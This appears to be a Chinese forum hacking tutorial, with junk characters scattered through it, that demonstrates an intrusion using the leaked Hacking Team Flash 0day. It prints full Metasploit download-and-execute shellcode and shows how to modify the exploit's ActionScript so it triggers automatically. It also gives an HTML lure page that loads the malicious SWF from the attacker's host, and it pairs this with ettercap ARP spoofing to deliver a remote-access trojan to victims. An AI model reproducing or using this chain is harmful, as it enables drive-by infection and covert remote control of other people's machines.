8 I2 D8 j4 \# c U* U* d/ Z 三、flash 0day之手工代码修改制作下载者实例入侵演示
+ }( w+ [. f. q; e7 B# Z0 g
' B$ n' `% e# x e8 ?# c b0 l- [: k8 _4 F1 L& z3 e
利用到的工具:
. y; ?6 c* H* ^- x* i* M* J( r, I+ [# b
/ `$ p9 O; l! f: R
6 V, Y# S6 s4 O Msf 3 J7 n* Q: O! x" ^
5 `! o9 f7 k' t
/ _/ B% T3 f$ ? Ettercap
j9 N" Q' |( ]: l3 M9 @ 5 L1 f1 K: R: ^; {
5 r: i% a! T9 E- Y3 ?1 B& O
Adobe Flash CS6 # m+ g5 y2 V) |. C8 ?7 U2 J
2 ]* |, k% a! L5 E! b8 l/ s& l8 T0 O: d% S3 z" ~8 r! w
Hacking Team Flash 0day-可冲破Chrome沙盒-Evil0X源代码一份
( e' v, F! D9 d |# q% [# H Z" Q : s2 z/ D9 _+ d% o" O: f8 p/ Y
% K- }/ W* l0 M9 j; @8 c
下面我们就开始演示入侵,利用msf生成shellcode,首先打开msf执行use windows/download_exec,show options
6 Y6 n" n+ b3 V
& Z. {9 A' U4 k5 z& M4 g5 F% S( A1 K4 A* u
如图: 4 D2 i' [3 M+ ~! Q6 n1 r+ ^8 }
: z) C; o# e; J1 F: ?
0 N9 \9 o9 ]6 f9 h" r5 S9 C
) \" K$ X/ @! @2 [3 P3 {
* D( B! v; s; P, h$ n4 j8 W
) j2 m9 j* x5 j; l" q) k
6 R5 l4 Q( X7 o3 {4 B% j7 k" c9 o: s
( W# B0 d$ x5 s0 m: O3 [4 y) _/ @. R% |2 L( \
然后set EXE system.exe,再执行set URL,需要说明一下URL就是我们的马的下载地址,这里我们用远控马,远控配置使用不再详细说明。。。如图:
3 N, n% G: L' G3 X6 J$ _6 Z% V) D - a/ I* p7 n# S8 }7 x$ l
. t- t3 _& ?9 L, O2 |3 i9 ~! C% a; k! T
% q* { K6 [% p# {6 R
6 h, w$ H w" _
5 x g+ w6 d0 _7 I
1 r, f v# c; ^: Z% }- Q" S
7 m/ k! H0 A6 N2 _! l& K7 b3 ~
* r+ S, T T: b/ g/ M0 V
然后执行generate -t dword生成shellcode,如下: ! |4 |6 R, n4 B& U3 |
3 v4 I8 D( ^) A
$ U$ ]8 ?- u0 J6 N/ y& ^ # F# a$ C: M. X9 T J9 |/ y# U
" S6 E6 S7 i" W. H5 B- _# W
" n$ b4 \9 V. ^5 k8 w 复制代码到文本下便于我们一会编辑flash exp,如下:
# R9 o) f8 H, ?8 P ) k1 r. h, s$ L( U
3 z* y& _+ f+ r2 Q9 T" |
0x0089e8fc, 0x89600000, 0x64d231e5, 0x8b30528b, 0x528b0c52, 0x28728b14, 0x264ab70f, 0xc031ff31, 7 k; [4 R/ J/ P
: f# @: O7 N3 T* R1 s8 U. U( i
0x7c613cac, 0xc1202c02, 0xc7010dcf, 0x5752f0e2, 0x8b10528b, 0xd0013c42, 0x8578408b, 0x014a74c0, - s! @- a- n# |* s1 X0 E8 s" t
" X4 }# K8 A7 S6 X
/ u0 g* b, J+ N; c
0x488b50d0, 0x20588b18, 0x3ce3d301, 0x8b348b49, 0xff31d601, 0xc1acc031, 0xc7010dcf, 0xf475e038, $ O% \# `1 X6 Q0 n
- X3 b# F) x7 F8 l4 L6 R; M' }! J6 }1 f6 ^
0x3bf87d03, 0xe275247d, 0x24588b58, 0x8b66d301, 0x588b4b0c, 0x8bd3011c, 0xd0018b04, 0x24244489, 9 V7 j0 @& G8 W. w$ D& U/ \
( ]8 J, O1 |9 }. H' ^; h
1 O, `; V- P2 S4 m' \: h+ ~- U! k 0x59615b5b, 0xe0ff515a, 0x8b5a5f58, 0x5d86eb12, 0x74656e68, 0x69776800, 0xe689696e, 0x774c6854, ; B2 a; ]- ~/ ^ J& }
- h" L1 a+ l6 o/ B
$ B) w/ V: \. h/ g+ v/ Z) i+ r 0xd5ff0726, 0x5757ff31, 0x68565757, 0xa779563a, 0x60ebd5ff, 0x51c9315b, 0x51036a51, 0x53506a51, 1 ]: p" r I2 ]9 z) h3 w% S C8 }
$ S3 I9 q7 B4 j# V
+ |1 B5 D3 M8 j. k! Y 0x89576850, 0xd5ffc69f, 0x31594feb, 0x006852d2, 0x52846032, 0x52515252, 0x55eb6850, 0xd5ff3b2e,
% C& k) @& Q" s6 h* f3 Y# }4 `$ c + j- w5 |6 r$ J5 L
5 x; j0 }5 O) {, N( n
0x106ac689, 0x3380685b, 0xe0890000, 0x6a50046a, 0x7568561f, 0xff869e46, 0x57ff31d5, 0x56575757,
0 J, t4 t' Q. ~
0 c# A* R$ {0 P9 F
! {3 o; d# P, B6 b. W# o 0x18062d68, 0x85d5ff7b, 0x4b1f75c0, 0x007c840f, 0xd1eb0000, 0x00008ee9, 0xfface800, 0x732fffff, 0 r' Y8 r9 F! ]; `
: J- T- |: W# x$ {! ~( [/ D' g9 [& |9 R
0x65747379, 0x78652e6d, 0x6beb0065, 0x505fc031, 0x026a026a, 0x6a026a50, 0xda685702, 0xff4fdaf6,
; K5 I }# X; k # Z" X; O4 o& h* \$ l
/ Q1 P- w( E( ^$ _
0xc03193d5, 0x0304b866, 0x8d54c429, 0x3108244c, 0x5003b4c0, 0x12685651, 0xffe28996, 0x74c085d5, 1 U4 t8 z+ f" V% i% ~, `. B
( I) @: T$ D! e2 ~' {
. ^/ N9 K/ a: Q6 J5 F: ]( v" O
0xc085582d, 0x006a1674, 0x448d5054, 0x53500c24, 0xae572d68, 0x83d5ff5b, 0xceeb04ec, 0x96c66853, " Z. m7 _6 \+ a2 ~) D
1 T- n4 l- s; w
: I- r. F' Q$ [1 A7 C8 ~$ e9 u 0xd5ff5287, 0x6857006a, 0x876f8b31, 0x006ad5ff, 0xa2b5f068, 0xe8d5ff56, 0xffffff90, 0x74737973,
+ O }* X# Z9 S/ @ h" S/ y: {. C3 u
, m2 @& S2 }$ ^# D) Z# s
0x652e6d65, 0xe8006578, 0xffffff08, 0x2e737378, 0x64696162, 0x6b682e6f, 0x00000000 ! y, Q8 {5 U1 J8 ^; v
' u+ h, V) R4 ~! Z2 H2 e+ Z* e& H# ?+ |( A- u) k: M1 J' L
: y4 P2 {& e; B+ ~' d
% [( U" d T9 m( t* s. c
+ K1 _2 w, Z4 G' Z8 Y$ U& A8 [% z ! H/ o) U5 P. ?; W2 y3 o7 @* w; ~
" z: f+ Y. A% H; F% C
3 U: u3 o. a* ?3 J! J0 k 下面我们来修改flash 0day exp,需要修改三个文件,分别为: , @" V) i% v1 u7 E# J% s
3 n% @- e. V( Q8 Q. D
% l1 R" e; v7 J3 O% r4 O
/ d4 Y' `- l' x$ k1 j: d- N a. j3 B , O) P4 c# u0 x/ a; v+ m2 J& F$ `
% J* Z: O0 q" l* n, K 先修改ShellWin32.as,部分源代码如图: + s% y/ I7 z" @+ P. |
. v4 F& m6 _/ D; y, J7 J/ Z
7 e* d K" h Z, D. @
9 l9 X5 H0 }8 P& Y6 g4 c
9 T- Y" A& ?0 q' |8 Q) Z7 r# w. V8 i% t6 ^+ o0 u+ ?* }6 m
我们需要把标记处[]中的代码改成用msf生成的代码,修改后如下: 0 f4 y5 }" V/ m% s9 |6 \# k
) r" W% ~2 t5 V% j
% F8 U" q+ y, ]! d3 R
: q$ |& I: G2 ^& h, K. P: |& g/ ? ! G' ]7 e" o* p7 D w% v1 c
" j/ h5 y S# H, C* z1 J
然后保存,ShellWin64.as的修改方法如上述,不再演示,下面我们来修改myclass.as,这里需要说明一下,因为此exp生成的利用程序,不能直接自动触发flash漏洞,也就是需要点击按钮才可以,实际上在做渗透的时候需要把它搞得更完美,所以就需要修改,修改方法:搜索myclass的某个字符doc.addchild(btn);如图: 8 T4 z5 Z& x8 |7 F" T: r/ |, S- _
! F6 I0 y9 @# w7 g
& R8 h1 Q H) Q" q
: c- a( V. ~; g% O+ L; w; y 1 W% q5 O) i9 _0 c0 \3 |
. K+ [ N) b, N 换行在后面加一句TryExpl();注意是l不是数字1,然后如图:
$ y: h! ^5 c. S - N* E& q$ [8 T S: f4 D, h
& A7 A3 u% |; F; A
]6 `1 V. Z# Z/ u ; Y& y( x3 {! ^' O
3 o6 E/ |6 \! S7 i* W1 W
1 p. X1 u8 b: t7 E6 f0 Y
0 X9 I& F3 Q b0 R4 n
+ A' n/ B7 f! n3 V# G1 G7 ?: V ; j; @ t3 R3 r4 p( a
+ r* h! |! B8 {9 G' Y7 T, E( }1 e1 U- m( M) f1 P8 n
然后点保存,下面我们来编译一下,打开 n4 z( R: z' y, E# ?" o% w
* b! l6 b. Q5 @+ Q8 o. J. R
$ J2 y, ]$ ]/ ~# O/ @* X6 S exp1.fla然后点文件-发布,看看编译没错误
5 v; Y; ^; t/ R/ F" _$ o$ B" L
! p: S% ~$ K1 i5 B' o* k8 _* Z4 f# U& d9 {5 q
. [% v9 E X7 \# @6 \
8 m. W3 e6 d" V$ W( O H: A3 {0 ~, [6 F) d
4 O( C+ S9 ^4 h. C3 o/ m
! J- B3 u( i% A, Q p- q
2 S- f" O4 w9 C( e" H* t. h
1 M+ N. U1 l! m) B; t! X9 C# B( X: K
& f8 ?: _0 x. V B. h6 T& y4 f8 z* J8 ]5 W6 r
# w& l9 o" W$ R B! k; D$ ^; Z2 b 2 Z; N$ ]* q, H* X9 k. W
! o9 H+ w' S( |: A3 Y 然后我们把生成的
& L( U( o; }+ D) x S 6 K8 @ g) C% _# W4 C
+ b A# {8 F9 o1 u' L" U
exp1.swf丢到kailinux 的/var/www/html下: ; C' [- @! S+ S9 n
; h2 o9 D P' y, K' j; A4 l+ U5 C; g+ [, { C) F! b
然后把这段代码好好编辑一下
3 Y8 k/ ^* n/ k7 h( T
3 a9 }* ~+ t0 j( f: H' [* p) c! g1 v) G" u. ^6 K( l
' ^; _6 ~# u* g9 \* L i' c. t5 X 6 t, C9 p. r5 w* c1 q6 T) c2 q( Y
$ ~0 g1 v: ?! c' N" S2 `) I 6 `5 j+ W4 ]3 P; r" `$ L
& ^4 n) G* x' x/ K8 H* i; ]8 _ i& b$ \0 q& M; J
: M) \- c& N* `8 y/ L 4 Y8 s: \6 I5 U5 h- O) Q
5 X0 ?4 D |4 ~
' \8 i K. X% Q/ c& S8 L
$ Z/ ]+ R- S/ W5 j: ^) v
- v3 d' A, _! t1 s' q: L
6 R9 H8 l: A: w6 E1 L/ k0 E
9 n- s: H' z7 f% I
, T3 V* k% V0 W" x
$ j# l9 E- C7 f . N" m" d0 D& o8 z
0 @5 R" j! F* L
<!DOCTYPE html>
6 I4 n2 { n/ ?/ g/ z - I- l0 b8 m5 |5 U3 x8 o! d9 z
2 n! A. ]$ p1 H1 t' W
<html>
1 ~* {6 P3 e! y: A8 v. @
( e5 I8 p- x: l7 U, H2 B; B6 \" K. P* o* q
<head> , X* b2 H1 i, ]6 Z P' E
1 c8 |# |8 m5 I3 D+ _! m1 _! O- J0 {+ P+ R* H/ F' l. E1 }5 U j
<meta http-equiv="Content-Type" content="text/html;
3 ] C$ x: ]$ _
! S5 j8 `2 T* ~- R' v1 {
4 b$ T. J" Y$ m6 r2 K+ H) z charset=utf-8"/>
% H: a9 c% f& H2 O
* x( [- \+ W0 ` @) g, w# g; t
9 U- L! Z2 `) Z# B% {. X </head>
5 I' h* r* G; f$ j, \
2 K6 [9 g0 W3 S3 B& e5 [7 `
. K7 f' A8 L2 t- J <body>
v- R9 S+ X z! x & C" Q7 [* ^% ? n1 d& n. A! g. c+ `
0 K7 x+ o6 h, ^! Q <h2> Please wait, the requested page is loading...</h2>
+ n$ p; a3 d( t! S5 L& k( m
H7 w" x' L. Z( K- I4 z5 i+ ~
& K7 ~2 `' }. X. { <br>
+ L! m/ y9 E, g# I& B( t) o , v; G' ~! {. G: w
7 R% E4 g9 U- ^3 h2 J5 c) l <OBJECT
9 {3 ^% f7 l+ a# }! W5 d
/ Y$ Q* E8 Y( m& z/ @0 ^9 T( b }- O5 [) c
classid="clsid27CDB6E-AE6D-11cf-96B8-444553540000" WIDTH="50" HEIGHT="50" id="4"><ARAM NAME=movie
9 N$ Z( T& I( K6 G/ N5 S; {
9 F/ v/ k `& V; h, z- R1 \ I. Z1 H
VALUE="http://192.168.0.109/exp1.swf"></OBJECT>
+ _% F7 ]& ~4 H: d6 O) B 8 y* {( U, I& L, _; I
' h' N3 x+ ~ ~2 w1 \0 g4 I
</body> $ @$ J2 t& @- E; E* y8 C# V: O* ?
* r. E6 u+ |! R5 Z4 ^
- D. g4 ~, B+ }- n" q <script> . u. b4 v0 P l. m6 ^& ~# e
: v0 L9 x+ s" X0 u# \4 [% X
% W# l! ^" m7 R* q" d setTimeout(function () { : j0 B! H& k& _+ Q. u+ p
1 R, s+ `+ ?1 j2 L# w$ h
" J* ?2 G/ X! G" {( [1 a9 F: f4 {
; w. A0 U. u5 o# r+ L8 @0 z " s, F' P |/ n! V2 @+ O4 ~
/ j5 ?7 x* m! b# u6 \5 p
window.location.reload();
8 t' }2 p( s9 _, v( t7 h( z ' n4 D, e0 b6 T: W
) l+ j3 M9 n2 B' }# ^, v% _ }, 10000);
' X" E3 q! e- G* O& ~% E
- i/ a7 g* j: p2 \1 h( f) c3 s6 v, J. }0 a2 i
$ l$ D" \2 w$ @. w+ v
' `! E& a% t! I/ {, m- S% o% n, o0 E
, r. d3 g% y/ O d6 `+ @ r# y2 j
</script>
4 e# z. H |1 u/ v& ]& F
, x. z$ Q: O% e
+ y, Z2 j5 c' o) j+ ^ </html>
$ s- X+ T+ c z " L9 x3 K7 I6 I2 n$ e
3 `; l8 a. \7 j
* h) T$ ~1 q$ I+ S: C9 A. @ " Y$ d" B0 L: l( D( Q6 t: C
+ v$ {& m K. v1 u) u3 ~( J' o9 z& k 注意:192.168.0.109是kali的ip地址,这时候我们需要service apache2 start启动一下web服务,然后将上面的html保存为index.htm同样丢到kali web目录下,测试访问链接存在如图: }+ K* o4 A0 b( _+ u4 B9 u+ g# q o3 F
" a6 K. M5 W1 k* V6 v( D9 I0 n
+ T* k; d$ N7 {$ s
4 n$ f- v) O- o; x9 L
) A7 W# y* X: B% N+ p+ q6 X3 i& X; E2 z' r: P1 u( D
4 M/ G7 o# V! e* F$ ^: M
1 R1 Y& p! f! c( R4 m
: E( V& `) G7 G
; _' I! R- x0 E( `( } \. p$ C( w3 y
2 c/ Z% _0 [) [ x L) ?, N* X
( V h% }2 C( _) \+ O, I2 Y 9 V2 O8 u4 @# r
4 L6 x0 O: X4 J8 z% d/ P
8 v' N0 {! x0 s% n : `3 M( I- A6 l. c1 d
! g7 K8 d& M5 t
7 t0 T3 f% k; |- U* f2 t1 {; d9 D: B 下面我们用ettercap欺骗如图:
% O0 O T3 j" w7 Q& I( S , `/ h! | x. K6 s
9 |6 ^& R9 Y( X/ B/ [: S N5 k ( a3 o& z& g: h9 Z/ i* g: y
Y: G' w5 Z, W. I& E
, @1 Q& _, R i& {% j5 c1 {. K " y3 k! F& P9 q E3 _5 L* W2 R
2 \$ W1 G5 o7 o2 Z- Q% w2 O- x
* {' G: \* q9 g9 T- @0 H 下面我们随便访问个网站看看:
2 f, L! J5 M& [" X; x: h, n# | - c& |! E5 {# e! @
' Q- @' h# f/ q1 W0 z 我靠我发现直接用ettercap欺骗物理机装了腾讯管家照样可以欺骗成功,如图: % Q. K' e$ z9 k; B- q
. i" h ^) g3 A5 \% K4 b3 r& W! z, C- E8 O1 \1 V
9 A9 _" W3 X& g, g
2 ^1 i0 m- i3 g* w7 r+ N: u
; d2 _# J$ G1 `) k
我们看另一台, + O4 {) z( Z% Z& z0 b2 P
4 v! q7 P; A3 O" r, k3 d3 b4 W+ Z; k$ l# B6 U* b5 G+ E% Q; }! G
提示这个错误,说明木马是成功被下载执行了,只是由于某些原因没上线而已。。。 % |( Z& d" y n# @2 s
|